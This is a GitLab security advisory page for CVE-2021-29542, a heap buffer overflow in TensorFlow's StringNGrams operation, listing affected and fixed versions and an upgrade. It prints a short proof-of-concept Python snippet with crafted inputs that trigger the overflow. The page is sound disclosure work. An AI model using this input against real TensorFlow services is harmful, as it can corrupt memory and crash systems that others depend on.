Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. tensorflow-gpu
  4. ›
  5. CVE-2021-29542

CVE-2021-29542: Heap buffer overflow in `StringNGrams`

May 21, 2021 (updated October 31, 2024)

An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:

import tensorflow as tf

separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True

l = ['', '', '', '', '', '', '', '', '', '', '']

data = tf.constant(l, shape=[11], dtype=tf.string)

l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)

out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)

References

  • github.com/advisories/GHSA-4hrh-9vmp-2jgg
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg
  • nvd.nist.gov/vuln/detail/CVE-2021-29542

Code Behaviors & Features

Detect and mitigate CVE-2021-29542 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-131: Incorrect Calculation of Buffer Size
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-gpu/CVE-2021-29542.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:16:11 +0000.